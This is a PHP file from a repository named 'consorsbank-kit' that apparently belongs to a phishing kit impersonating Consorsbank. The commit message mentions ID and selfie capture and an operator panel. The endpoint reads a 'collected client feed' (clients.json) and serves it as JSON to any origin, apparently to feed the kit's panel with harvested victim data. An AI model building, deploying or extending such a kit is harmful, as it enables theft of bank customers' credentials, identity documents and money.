consorsbank-kit / clients.php
CJs
Deploy v2: German localization, ID/selfie capture, trilingual panel, sound alerts, live movements
9d38145
Raw History Blame Contribute Delete
1.02 kB
<?php
/**
* clients.php — echoes the collected client feed (clients.json) as a JSON array.
*
* Empty array when the file is missing or unreadable. No secrets.
*/
declare(strict_types=1);
require_once __DIR__ . '/lib.php';
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: GET, POST, OPTIONS');
header('Access-Control-Allow-Headers: Content-Type');
header('Content-Type: application/json; charset=utf-8');
header('Cache-Control: no-store');
if (($_SERVER['REQUEST_METHOD'] ?? '') === 'OPTIONS') {
http_response_code(204);
exit;
}
$path = __DIR__ . '/clients.json';
$out = [];
try {
if (is_file($path)) {
$raw = @file_get_contents($path);
if (is_string($raw) && trim($raw) !== '') {
$decoded = json_decode($raw, true);
if (is_array($decoded)) {
$out = $decoded;
}
}
}
} catch (Throwable $e) {
$out = [];
}
echo json_encode($out, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);